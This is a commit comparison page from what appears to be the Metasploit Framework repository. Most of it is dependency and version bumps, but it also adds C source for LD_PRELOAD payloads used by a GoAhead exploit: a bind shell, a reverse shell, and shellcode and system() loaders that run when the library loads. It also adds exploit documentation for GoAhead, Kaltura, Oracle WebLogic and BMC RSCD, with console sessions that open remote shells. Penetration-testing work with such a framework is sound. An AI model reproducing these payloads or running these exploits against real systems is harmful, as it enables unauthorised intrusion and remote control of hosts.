Compare commits

...

37 Commits

Author SHA1 Message Date
Brent Cook 48c3c7cd62 Land #9475, Fix import for Fix proxy authentication in reverse_http 2018-02-01 11:24:10 -06:00
bwatters-r7 64746d8325 Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
Merge branch 'land-9407' into upstream-master
2018-02-01 11:23:59 -06:00
h00die b7fbffa331 Land #9445 fixes for ssl labs scanner module 2018-02-01 11:23:46 -06:00
Jacob Robles 4fa68f29d9 Land #9457, Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow 2018-02-01 11:23:26 -06:00
Christian Mehlmauer a9d4a98d80 Land #9470, Update docker image dependencies
fix #8211
2018-02-01 11:22:51 -06:00
Metasploit cca76d2217 Bump version of framework to 4.16.35 2018-01-26 16:18:28 -08:00
William Vu bff02efad4 Land #9466, metasploit-payloads bump to 1.3.28 2018-01-26 18:09:20 -06:00
Aaron Soto 395320ba97 Land #9379, Oracle Weblogic RCE exploit and documentation 2018-01-26 18:08:56 -06:00
William Vu a87ae41d81 Land #9446, Post API fix for setuid_nmap 2018-01-26 18:08:47 -06:00
Jeffrey Martin 0d98135fcb Land #9462, add missing payload tests 2018-01-26 18:08:34 -06:00
Metasploit c2379308cf Bump version of framework to 4.16.34 2018-01-25 10:04:45 -08:00
bwatters-r7 af0c58c2ae Land #9335, Added socket bind port option for reverse tcp payload.
Merge branch 'land-9335' into upstream-master
2018-01-24 17:20:14 -06:00
Matthew Kienow b515a582f0 Land #9424, Add SharknAT&To external scanner 2018-01-24 17:20:03 -06:00
Brent Cook 25652c6c17 add missing gemfile.lock update 2018-01-24 17:19:06 -06:00
Pearce Barry 926ce42a01 Land #8632, colorado ftp fixes 2018-01-24 17:13:20 -06:00
bwatters-r7 2ea9ab2625 Land #9416, Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
Merge branch 'land-9416' into upstream-master
2018-01-24 17:13:16 -06:00
Adam Cammack a4022f7b8f Land #9430, Improve Hyper-V checkvm checks 2018-01-24 17:13:12 -06:00
bwatters-r7 06b702e86b Land #9449, bump metasploit-payloads from 1.3.25 to 1.3.27
rapid7/metasploit-payloads#264
rapid7/metasploit-payloads#263

Merge branch 'land-9449' into upstream-master
2018-01-24 17:13:08 -06:00
bwatters-r7 8f2de5cd41 Land #9205, Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9205' into upstream-master
2018-01-24 17:13:05 -06:00
bwatters-r7 a136841794 Land #9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9114' into upstream-master
2018-01-24 17:13:00 -06:00
Brent Cook 15f631dcb5 Land #9452, expose linux/osx meterpreter process hiding 2018-01-24 17:12:56 -06:00
Brent Cook d6beb94c59 Land #6611, add native DNS to Rex, MSF mixin, sample modules 2018-01-24 17:12:52 -06:00
Brent Cook 5ec3da843e Land #9349, GoAhead LD_PRELOAD CGI Module 2018-01-24 17:12:47 -06:00
Brent Cook 294a8e0ada Land #9413, Expand the number of class names searched when checking for an exploitable JMX server 2018-01-24 17:12:43 -06:00
Brent Cook bb73d2c07e Land #9431, Fix owa_login to handle inserting credentials for a hostname 2018-01-24 17:12:39 -06:00
Brent Cook 47682e3f37 Land #9404, update module author 2018-01-24 17:12:34 -06:00
Brent Cook 5fc1988d63 Land #9398, allow UTF-8 module names and authors 2018-01-24 17:12:30 -06:00
Wei Chen ab610f599b Land #9442, Remove NoMethod Rescue for cerberus_sftp_enumusers
Land #9442
2018-01-24 17:12:25 -06:00
William Vu 7da3bdd081 Land #9432, cmd_edit improvements (again!)
We seem to enjoy refactoring this method.
2018-01-24 17:12:20 -06:00
Wei Chen 10fafb62bb Land #9436 - Fix cerberus_sftp_enumusers undefined method start for nil
Land #9436

Thanks Steve!
2018-01-24 17:12:16 -06:00
Brent Cook 512192d3b0 Land #9267, Add targets to sshexec 2018-01-24 17:12:12 -06:00
Brent Cook 55c345418d Land #9438, address cmd_exec inconsistencies 2018-01-24 17:11:40 -06:00
Brent Cook b8fc2c0213 Land #9389, Update commvault_cmd_exec module documentation 2018-01-24 17:11:34 -06:00
Brent Cook 23619431aa update stageless python sizes 2018-01-24 17:08:51 -06:00
Brent Cook 0916d8402e fix whitespace patchups for current python meterpreter 2018-01-24 17:08:33 -06:00
Jeffrey Martin bf6540585f lock google-protobuf and grpc on 4.x 2018-01-19 16:15:09 -06:00
Metasploit 898aa82933 Bump version of framework to 4.16.33 2018-01-18 10:05:22 -08:00
184 changed files with 5249 additions and 394 deletions
+1 -1
View File
@@ -1 +1 @@
2.4.2
2.4.3
+2 -2
View File
@@ -12,8 +12,8 @@ addons:
language: ruby
rvm:
- '2.2'
- '2.3.5'
- '2.4.2'
- '2.3.6'
- '2.4.3'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+4 -2
View File
@@ -1,4 +1,4 @@
FROM ruby:2.4.2-alpine
FROM ruby:2.4.3-alpine3.7
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -20,6 +20,8 @@ RUN apk update && \
nmap-scripts \
nmap-nselibs \
postgresql-libs \
python \
python3 \
ncurses \
libcap \
&& apk add --virtual .ruby-builddeps \
@@ -27,7 +29,7 @@ RUN apk update && \
bison \
build-base \
ruby-dev \
openssl-dev \
libressl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
+8
View File
@@ -23,6 +23,14 @@ group :development do
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
gem 'google-protobuf', '3.5.1' if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
gem 'grpc', '1.8.3' if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
end
group :development, :test do
+17 -15
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.32)
metasploit-framework (4.16.35)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -18,9 +18,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.25)
metasploit-payloads (= 1.3.28)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.3)
metasploit_payloads-mettle (= 0.3.6)
mqtt
msgpack
nessus_rest
@@ -73,7 +73,7 @@ PATH
GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.2)
Ascii85 (1.0.3)
actionpack (4.2.10)
actionview (= 4.2.10)
activesupport (= 4.2.10)
@@ -103,9 +103,9 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.5.0)
arel-helpers (2.6.1)
activerecord (>= 3.1.0, < 6)
backports (3.11.0)
backports (3.11.1)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.1)
@@ -125,7 +125,7 @@ GEM
railties (>= 3.0.0)
faker (1.8.7)
i18n (>= 0.7)
faraday (0.13.1)
faraday (0.14.0)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
@@ -146,7 +146,7 @@ GEM
googleapis-common-protos-types (~> 1.0.0)
googleauth (>= 0.5.1, < 0.7)
hashery (2.1.2)
i18n (0.9.1)
i18n (0.9.3)
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
rkelly-remix
@@ -181,21 +181,21 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.25)
metasploit_data_models (2.0.15)
metasploit-payloads (1.3.28)
metasploit_data_models (2.0.16)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg
pg (= 0.20.0)
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.3.3)
metasploit_payloads-mettle (0.3.6)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.11.1)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.2)
multi_json (1.13.1)
@@ -203,7 +203,7 @@ GEM
nessus_rest (0.1.6)
net-ssh (4.2.0)
network_interface (0.0.2)
nexpose (7.1.1)
nexpose (7.2.0)
nokogiri (1.8.1)
mini_portile2 (~> 2.3.0)
octokit (4.8.0)
@@ -352,7 +352,7 @@ GEM
ttfunk (1.5.1)
tzinfo (1.2.4)
thread_safe (~> 0.1)
tzinfo-data (1.2017.3)
tzinfo-data (1.2018.3)
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xdr (2.0.0)
@@ -367,6 +367,8 @@ PLATFORMS
DEPENDENCIES
factory_girl_rails
fivemat
google-protobuf (= 3.5.1)
grpc (= 1.8.3)
metasploit-aggregator
metasploit-framework!
octokit
+4
View File
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
Files: lib/net/dns.rb lib/net/dns/*
Copyright: 2006 Marco Ceresa
License: Ruby
+48
View File
@@ -0,0 +1,48 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,reverse,bind}
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
#
# Linux GLIBC
#
# x86
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
# ARM
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
# SPARC
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
gzip -9 *.so
rm -f *.o *.so
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
static void _bind_tcp_shell(void) {
int sfd, fd, i;
struct sockaddr_in addr,saddr;
unsigned int saddr_len = sizeof(struct sockaddr_in);
char *lport = "55555";
char *shells[] = {
"/bin/bash",
"/usr/bin/bash",
"/bin/sh",
"/usr/bin/sh",
"/bin/ash",
"/usr/bin/ash",
"/bin/dash",
"/usr/bin/dash",
"/bin/csh",
"/usr/bin/csh",
"/bin/ksh",
"/usr/bin/ksh",
"/bin/busybox",
"/usr/bin/busybox",
NULL
};
sfd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(atoi(lport));
saddr.sin_addr.s_addr = INADDR_ANY;
bzero(&saddr.sin_zero, 8);
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
exit(1);
}
if (listen(sfd, 5) == -1) {
close(sfd);
exit(1);
}
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
close(sfd);
if (fd == -1) {
exit(1);
}
for (i=0; i<3; i++) {
dup2(fd, i);
}
/* Keep trying until execl() succeeds */
for (i=0; ; i++) {
if (shells[i] == NULL) break;
execl(shells[i], "sh", NULL);
}
/* Close the connection if we failed to find a shell */
close(fd);
}
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
unsetenv("LD_PRELOAD");
if (! fork())
_bind_tcp_shell();
exit(0);
}
@@ -0,0 +1,84 @@
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
static void _reverse_tcp_shell(void) {
int fd, i;
struct sockaddr_in addr;
char *lport = "55555";
char *lhost = "000.000.000.000";
char *shells[] = {
"/bin/bash",
"/usr/bin/bash",
"/bin/sh",
"/usr/bin/sh",
"/bin/ash",
"/usr/bin/ash",
"/bin/dash",
"/usr/bin/dash",
"/bin/csh",
"/usr/bin/csh",
"/bin/ksh",
"/usr/bin/ksh",
"/bin/busybox",
"/usr/bin/busybox",
NULL
};
fd = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(atoi(lport));
addr.sin_addr.s_addr = inet_addr(lhost);
addr.sin_family = AF_INET;
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
for (i=0; i<10; i++) {
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
break;
}
}
for (i=0; i<3; i++) {
dup2(fd, i);
}
/* Keep trying until execl() succeeds */
for (i=0; ; i++) {
if (shells[i] == NULL) break;
execl(shells[i], "sh", NULL);
}
/* Close the connection if we failed to find a shell */
close(fd);
}
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
unsetenv("LD_PRELOAD");
if (! fork())
_reverse_tcp_shell();
exit(0);
}
@@ -0,0 +1,44 @@
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver mmap,mmap@GLIBC_2.0");
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 5000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
void *mem;
void (*fn)();
unsetenv("LD_PRELOAD");
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED)
return;
memcpy(mem, payload, PAYLOAD_SIZE);
fn = (void(*)())mem;
if (! fork())
fn();
exit(0);
}
@@ -0,0 +1,32 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 5000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
int dummy = 0;
unsetenv("LD_PRELOAD");
if (! fork())
dummy = system((const char*)payload);
exit(dummy);
}
+21
View File
@@ -0,0 +1,21 @@
#!/bin/bash
# Assume x86_64 Ubuntu 16.04 base system
apt-get install build-essential \
gcc-5-multilib \
gcc-5-multilib-arm-linux-gnueabi \
gcc-5-multilib-arm-linux-gnueabihf \
gcc-5-multilib-mips-linux-gnu \
gcc-5-multilib-mips64-linux-gnuabi64 \
gcc-5-multilib-mips64el-linux-gnuabi64 \
gcc-5-multilib-mipsel-linux-gnu \
gcc-5-multilib-powerpc-linux-gnu \
gcc-5-multilib-powerpc64-linux-gnu \
gcc-5-multilib-s390x-linux-gnu \
gcc-5-multilib-sparc64-linux-gnu \
gcc-4.9-powerpc64le-linux-gnu \
gcc-4.9-aarch64-linux-gnu
if [ ! -e /usr/include/asm ];
then ln -sf /usr/include/asm-generic /usr/include/asm
fi
@@ -6,7 +6,7 @@ While the application is based in java, I was only able to get it to exploit aga
[official site](http://cftp.coldcore.com/files/coloradoftp-prime-8.zip?site=cft1&rv=19.1&nc=1) or [github backup](https://github.com/h00die/MSF-Testing-Scripts/raw/master/coloradoftp-prime-8.zip)
When installing, you must edit conf/beans.xml line 182 "localIp" to put in your IP or else `pasv` won't work.
When installing, you must edit conf/beans.xml line 183 "remoteIp" to put in your IP or else `pasv` won't work.
## Verification Steps
@@ -0,0 +1,121 @@
## Vulnerable Application
The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
of a CGI application. This module delivers a shared library payload as the raw data to a POST request
and forces this to be loaded by specifying a `LD_PRELOAD` value of `/proc/self/fd/0`.
### Kali 2017.3 and Ubuntu 16.04 Install Instructions
These instructions are based on the vulerability analysis by [elttam.com.au](https://www.elttam.com.au/blog/goahead/)
```
git clone https://github.com/embedthis/goahead.git
cd goahead/
git checkout tags/v3.6.4 -q
make > /dev/null
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
```
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/goahead_ldpreload```
4. Do: ```set rhost [ip]```
5. Do: ```exploit```
6. You should get a shell.
## Options
**TARGET_URI**
Optional. The full path to a CGI endpoint on the target server.
## Scenarios
### GoAhead 3.6.4 on Ubuntu 16.04 x64
```
msf> use exploit/linux/http/goahead_preload
msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
msf exploit(goahead_ldpreload) > set RPORT 8080
msf exploit(goahead_ldpreload) > check
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[+] 127.1.1.1:8080 The target is vulnerable.
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
exit
msf exploit(goahead_ldpreload) > set TARGET 1
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[*] Started bind handler
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
exit
msf exploit(goahead_ldpreload) > set TARGET 2
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sNRXNjxWl7ic0uWw;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sNRXNjxWl7ic0uWw\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
msf exploit(goahead_ldpreload) > set TARGET 4
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```
## Logging
Each 404 error will generate a console or log entry similar to `goahead: 0: Cannot find CGI program:`.
@@ -0,0 +1,42 @@
## Description
The getUserzoneCookie function in Kaltura before 13.2.0 uses a hardcoded cookie secret to validate cookie signatures, which allows remote attackers to bypass an intended protection mechanism and consequently conduct PHP object injection attacks and execute arbitrary PHP code via a crafted userzone cookie.
## Vulnerable Application
This module exploits a remote code execution within the Kaltura(<=13.1.0) via a cookie deserialization.
Vulnerability reference- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14143.
Installation of Kaltura is difficult, but here is an installation guide:
https://github.com/kaltura/platform-install-packages/blob/Mercury-13.8.0/doc/install-kaltura-deb-based.md
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/kaltura_unserialize_cookie_rce`
3. `set RHOST https://example.com (or IP address)`
4. `set ENTRYID 0_xxxxxxxx`
5. `set payload generic/custom`
6. `set payloadstr "system('command you want to execute, eg.- ls -la');"`
7. `run`
## Scenarios
```
msf use exploits/linux/http/kaltura_unserialize_cookie_rce
msf exploit(kalkutra_unseialize_cookie_rce) set RHOST 46.101.209.202
RHOST => 46.101.209.202
msf exploit(kalkutra_unseialize_cookie_rce) set LHOST 192.168.1.16
LHOST => 192.168.1.16
msf exploit(kalkutra_unseialize_cookie_rce)>check
[+] 46.101.209.202:4444 The target is vulnerable.
msf exploit(kalkutra_unseialize_cookie_rce)>run
[*] Started bind handler
[*] Output:
[*] Command shell session 1 opened (192.168.1.16:36865 -> 46.101.209.202:4444) at 2017-09-04 12:09:03 +0200
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -0,0 +1,95 @@
# Description
This module works leverages [CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271) against Oracle WebLogic Server's Web Service Atomic Transaction API a XML SOAP request to create a `java.lang.ProcessBuilder` object to provide unauthenticated arbitrary command execution. A command line can be acquired through the use of `cmd/unix/reverse_python`.
Note that the TARGET must be set to match either a Windows or Unix-based host. If the TARGET variable is set improperly, a log entry will be generated on a vulnerable server, but the server will not crash. For example, a Linux payload sent to a Windows server will output:
```
java.io.IOException: Cannot run program "/bin/sh": CreateProcess error=2, The system cannot find the file specified
Continuing ...
```
# Vulnerable Application
Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution.
### Windows: Setting up a vulnerable application
We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM.
1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`).
2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working.
3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it.
4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server".
5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following
```
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to RUNNING>
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000360> <Server started in RUNNING mode>
```
### Windows: Attacking a vulnerable application
Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
```
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target]
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker]
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
[*] Started reverse TCP handler on 192.168.108.1:4444
[*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600
Microsoft Windows [Version 10.0.16299.192]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Oracle\Middleware\user_projects\domains\admindomain>whoami
weblogic-server\Administrator
```
### Unix: Setting up a vulnerable environment
1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM:
```
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
apt update
apt-get install docker-engine
service docker start
docker run hello-world
```
2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0:
```
docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271
```
3. Confirm that the container is up.
```
docker ps
```
### Unix: Attacking a vulnerable application
Attack the above Unix server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
```
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of the target]
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 1
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/unix/reverse_python
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of the attacker]
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
[*] Started reverse TCP handler on 192.168.108.1:4444
[*] Command shell session 5 opened (192.168.108.1:4444 -> 192.168.108.129:51312) at 2018-01-11 11:46:49 -0600
id
uid=0(root) gid=0(root) groups=0(root)
```
# Credits
Documentation originally written by Aaron Soto (@asoto-r7) and was edited by Kevin Kirsche (@kkirsche).
@@ -0,0 +1,88 @@
## Description
This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication.
Affected versions of the BMC RSCD agent fail to enforce authentication controls at the server side enabling a rogue client to send an authentication message, ignore the response, and continue interacting with the agent as though the authentication was successful. This module takes advantage of this vulnerability to execute arbitrary operating system commands using the BMC network shell (NSH) functionality.
The access control vulnerability itself was identified by Olga Yanushkevich of [ERNW](https://www.ernw.de/) and was assigned [CVE-2016-1542](https://www.cvedetails.com/cve/CVE-2016-1542/) and [CVE-2016-1543](https://www.cvedetails.com/cve/CVE-2016-1543/). Further details can be found at the [ERNW Insinuator website](https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/).
